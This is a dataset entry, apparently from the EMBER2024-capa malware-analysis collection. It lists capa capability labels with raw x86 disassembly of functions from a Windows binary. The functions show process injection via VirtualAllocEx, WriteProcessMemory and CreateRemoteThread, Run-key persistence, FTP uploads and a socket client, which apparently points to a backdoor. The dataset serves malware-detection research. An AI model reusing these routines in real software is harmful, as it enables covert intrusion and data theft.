joyce8/EMBER2024-capa huggingface dataset:
Function at 0x473324
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9a4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x65c], edx
mov esi, eax
xor eax, eax
push ebp
push 0x473455
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
mov eax, esi
call fcn.00405530
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x47343c
xor edx, edx
push ebp
push 0x473427
push dword fs:[edx]
mov dword fs:[edx], esp
lea ebx, [ebp - 8]
push 0
push 0
push ebx
push 0x400
lea eax, [ebp - 0x658]
push eax
push 0
push 0
push 0x4004747f
mov eax, dword [ebp - 4]
push eax
call sub.WS2_32.DLL_WSAIoctl
inc eax
je 0x47341d
mov eax, dword [ebp - 8]
mov ecx, 0x4c
cdq
idiv ecx
dec eax
test eax, eax
jl 0x47341d
inc eax
mov dword [ebp - 0xc], eax
lea ebx, [ebp - 0x654]
push esi
mov esi, ebx
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x18]
call sub.wsock32.dll_inet_ntoa
mov edi, eax
lea eax, [ebp - 0x65c]
mov edx, edi
call fcn.00405728
mov edx, dword [ebp - 0x65c]
mov eax, esi
call fcn.00405818
push esi
lea esi, [ebx + 0x30]
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push esi
lea esi, [ebx + 0x18]
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
push dword [ebp - 0x18]
call sub.wsock32.dll_inet_ntoa
mov eax, esi
mov edx, 0x473470
call fcn.00405818
add ebx, 0x4c
dec dword [ebp - 0xc]
jne 0x4733ba
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x473431
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_closesocket
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47345c
lea eax, [ebp - 0x65c]
call fcn.00405530
ret
Function at 0x473474
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x47354e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x473560
call sub.wininet.dll_InternetOpenA
mov dword [0x49b190], eax
cmp dword [0x49b190], 0
je 0x473517
push 0
push 0
push 1
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp + 8]
call fcn.00409ee4
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49b190]
push eax
call sub.wininet.dll_InternetConnectA
mov dword [0x49b18c], eax
cmp dword [0x49b18c], 0
je 0x473517
jmp 0x473522
xor ebx, ebx
mov byte [0x49522c], 0
jmp 0x47352b
mov bl, 1
mov byte [0x49522c], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473555
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x473588
Capabilities:
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x473600
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x49522c], 0
je 0x4735e5
xor ebx, ebx
push 0
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [0x49b18c]
push eax
call sub.wininet.dll_FtpPutFileA
test eax, eax
je 0x4735e5
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473607
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x4739a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x473a4f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4739d2
sub ebx, 4
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, eax
lea eax, [ebp - 4]
call fcn.00405c6c
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4739f7
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a44
mov eax, dword [ebp - 8]
mov edx, 0x473a64
call fcn.00405974
je 0x473a2a
mov eax, esi
mov ecx, 0x473a64
mov edx, dword [ebp - 4]
call fcn.00405864
jmp 0x473a34
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473a56
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x473a68
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x473a9e
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004057a0
jmp 0x473aa5
mov eax, ebx
call fcn.00405530
add esp, 0x108
pop ebx
ret

Function at 0x473d30
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x473dd2
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
cmp edi, 0xffffffff
je 0x473dbc
push 0
push edi
call sub.kernel32.dll_GetFileSize_1
mov esi, eax
push esi
mov eax, dword [ebp - 8]
mov ecx, 1
mov edx, dword [0x473970]
call fcn.00406928
add esp, 4
push 0
lea eax, [ebp - 0xc]
push eax
push esi
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push eax
push edi
call sub.kernel32.dll_ReadFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
cmp esi, dword [ebp - 0xc]
jne 0x473dbc
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473dd9
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x474d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x474e06
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 8]
test eax, eax
je 0x474db4
sub eax, 4
mov eax, dword [eax]
push 0x40
push 0x3000
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00405728
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x474ddd
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 4]
push edx
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474e0d
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00405554
ret

Function at 0x474e18
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x474e48
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00474e18
mov esi, eax
mov eax, edi
call fcn.00474d5c
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.00474e18
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x474eae
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x475d98
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475e29
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x495b5c]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.00461360
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475df3
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push esi
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
mov eax, dword [0x495af4]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475e30
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475e38
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475ec4
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, dword [0x495b5c]
mov edx, dword [edx]
mov eax, dword [ebp - 4]
call fcn.00461360
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
call fcn.004055c8
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004055c8
mov eax, dword [ebp - 4]
test eax, eax
je 0x475e95
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
push 0
push ebx
lea eax, [ebp - 4]
call fcn.00405a3c
push eax
push esi
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475ecb
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x475f44
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x475ff6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
lea eax, [ebx + 4]
call fcn.00405530
lea eax, [ebx + 8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 0x10]
mov edx, 0x47600c
call fcn.00405584
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 0
push esi
push 0x483c98
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475ffd
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret
Function at 0x47edbc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x47edc4
push ebx
push esi
mov esi, dword [0x495cc0]
xor eax, eax
push ebp
push 0x47efc0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x495b5c]
push dword [eax]
lea eax, [ebp - 0x1c]
call fcn.0048c77c
push dword [ebp - 0x1c]
lea edx, [ebp - 0x24]
mov eax, 0x47efd8
call fcn.00473610
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00409b84
push dword [ebp - 0x20]
mov eax, dword [0x495b5c]
mov edx, 3
call fcn.004058e0
mov eax, dword [0x495a78]
mov byte [eax], 0
mov eax, dword [0x495bb0]
xor edx, edx
mov dword [eax], edx
lea edx, [ebp - 0x28]
mov eax, 0x47efe4
call fcn.00473610
mov eax, dword [ebp - 0x28]
mov edx, 0x47eff8
call fcn.00405974
jne 0x47ee6d
mov eax, dword [0x495c30]
push eax
push 0
push 0
push 0x4822f8
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x4958f8]
mov dword [eax], 1
mov eax, dword [0x4958b4]
mov byte [eax], 1
movzx eax, byte [0x47effc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [0x495c18]
mov eax, dword [eax]
mov ecx, 0x47f008
mov edx, 0x47f014
call fcn.0040ef4c
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x495c18]
call fcn.00405584
mov edx, dword [0x495c18]
mov edx, dword [edx]
mov eax, dword [0x495808]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea edx, [ebp - 0x30]
mov eax, dword [0x495914]
mov eax, dword [eax]
call fcn.0048c7a4
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4959e8]
call fcn.00405584
mov eax, dword [0x4959e8]
mov eax, dword [eax]
mov edx, 0x47f020
call fcn.00405974
jne 0x47ef3f
call fcn.0040bca0
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov edx, dword [0x49596c]
mov edx, dword [edx]
lea eax, [ebp - 4]
call fcn.0040c900
call fcn.0040bccc
fstp qword [ebp - 0x18]
wait
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov edx, dword [0x495acc]
mov edx, dword [edx]
lea eax, [ebp - 8]
call fcn.0040c900
push dword [ebp - 4]
push 0x47f030
push dword [ebp - 8]
mov eax, dword [0x4959e8]
mov edx, 3
call fcn.004058e0
mov cl, 1
mov dl, 1
mov eax, dword [0x486d00]
call fcn.0041f9e0
mov edx, dword [0x495d1c]
mov dword [edx], eax
mov eax, dword [0x495d1c]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x495d1c]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fbec
mov eax, dword [0x495d1c]
mov eax, dword [eax]
call fcn.0041fe9c
jmp 0x47ef88
push esi
call sub.user32.dll_TranslateMessage
push esi
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push esi
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x47ef7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47efc7
lea eax, [ebp - 0x30]
mov edx, 6
call fcn.00405554
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x4800f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x420], edx
mov dword [ebp - 0x424], edx
mov dword [ebp - 4], edx
mov ebx, eax
lea esi, [ebp - 0x40c]
xor eax, eax
push ebp
push 0x480323
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebx + 0x44], 0
jne 0x4802fd
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4802fd
mov word [ebp - 0x41c], 2
mov eax, dword [0x4959d8]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x41a], ax
mov eax, dword [0x495b34]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
mov dword [ebp - 0x418], edi
inc edi
jne 0x4801a3
mov eax, dword [0x495b34]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x4802fd
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x418], eax
push 0x10
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_connect
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x4802e9
lea edx, [ebp - 0x424]
mov eax, dword [ebx + 0x40]
call fcn.00409d78
mov ecx, dword [ebp - 0x424]
lea eax, [ebp - 0x420]
mov edx, 0x48033c
call fcn.00405864
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 8]
call fcn.00475e38
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
inc eax
je 0x4802e9
mov dl, 1
mov eax, dword [0x417b40]
call fcn.00404620
mov dword [ebp - 0xc], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041b750
xor eax, eax
push ebp
push 0x4802e2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
push 0
push 0x400
push esi
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
test ebx, ebx
jg 0x4802a7
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041b750
lea edx, [ebp - 0x428]
mov eax, dword [ebp - 0xc]
call fcn.0048d63c
mov eax, dword [ebp - 0x428]
lea ecx, [ebp - 4]
mov edx, dword [0x495b5c]
mov edx, dword [edx]
call fcn.0046163c
mov eax, dword [ebp - 4]
call fcn.00476010
lea eax, [ebp - 0xc]
call fcn.0040f94c
jmp 0x4802cc
mov edx, esi
mov ecx, ebx
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x10]
push 0
push 0x400
lea eax, [esi + 1]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
jmp 0x480240
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4802e9
mov eax, dword [ebp - 0xc]
call fcn.00404650
ret
push 2
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_shutdown
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48032a
lea eax, [ebp - 0x428]
mov edx, 3
call fcn.00405554
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x482780
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482812
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x408]
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4827c5
sub eax, 4
mov eax, dword [eax]
mov edx, eax
dec edx
test edx, edx
jl 0x4827e3
inc edx
xor esi, esi
lea eax, [ebp - 0x408]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + esi]
mov byte [eax], cl
inc esi
inc eax
dec edx
jne 0x4827d5
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482819
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x482f10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x482f82
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xc
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov esi, eax
mov ebx, esi
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405584
mov dword [ebx + 4], edi
mov eax, dword [ebp - 8]
mov dword [ebx + 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push 0x482e04
push 0
push 0
call sub.kernel32.dll_CreateThread_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482f89
lea eax, [ebp - 4]
call fcn.00405530
ret
Function at 0x48344c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
mov eax, dword [ebp + 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x483579
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x483545
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x421570]
call fcn.004216b4
mov ebx, eax
mov eax, dword [ebp - 4]
mov edx, 0x483594
call fcn.00405974
jne 0x4834c6
mov esi, 0x80000002
mov eax, dword [ebp - 4]
mov edx, 0x4835a0
call fcn.00405974
jne 0x4834da
mov esi, 0x80000001
mov eax, dword [ebp - 8]
mov edx, 0x4835a0
call fcn.00405974
jne 0x4834f6
lea eax, [ebp - 0x10]
mov edx, 0x4835ac
call fcn.004055c8
mov eax, dword [ebp - 8]
mov edx, 0x483594
call fcn.00405974
jne 0x483512
lea eax, [ebp - 0x10]
mov edx, 0x4835ac
call fcn.004055c8
mov edx, esi
mov eax, ebx
call fcn.0042174c
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.00421890
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00421fb4
mov eax, ebx
call fcn.00404650
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x483556
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x483580
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret

Function at 0x4835dc
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x483696
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48366a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x4836a4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x483636
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
push ebx
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48367b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48369d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x484e64
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x484ec3
xor eax, eax
push ebp
push 0x484ebc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484ec3
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
pop ecx
pop ecx
pop ebp
ret

Function at 0x485ed0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x486029
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0x124], 1
xor edx, edx
push ebp
push 0x486007
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
call fcn.0041be60
push 0
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
call fcn.0041b750
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x50]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
mov cl, 2
call fcn.004676a0
push 0
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
call fcn.0041b750
mov eax, 0x49b39c
xor ecx, ecx
mov edx, 0x2001
call fcn.00403af4
mov edx, 0x49b39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
mov ecx, 0x2001
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
je 0x485fa3
push 0
push ebx
push 0x49b39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
push eax
call sub.wsock32.dll_send
push 0
push 0x2001
push 0x49b39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
push eax
call sub.wsock32.dll_recv
test ebx, ebx
jne 0x485f47
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00409d78
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x486040
call fcn.00405864
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
call fcn.00475ed4
push 0
push 0x2001
push 0x49b39c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
push eax
call sub.wsock32.dll_recv
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x4c]
call fcn.0041be60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48600e
mov eax, dword [ebp - 4]
mov byte [eax + 0x124], 0
ret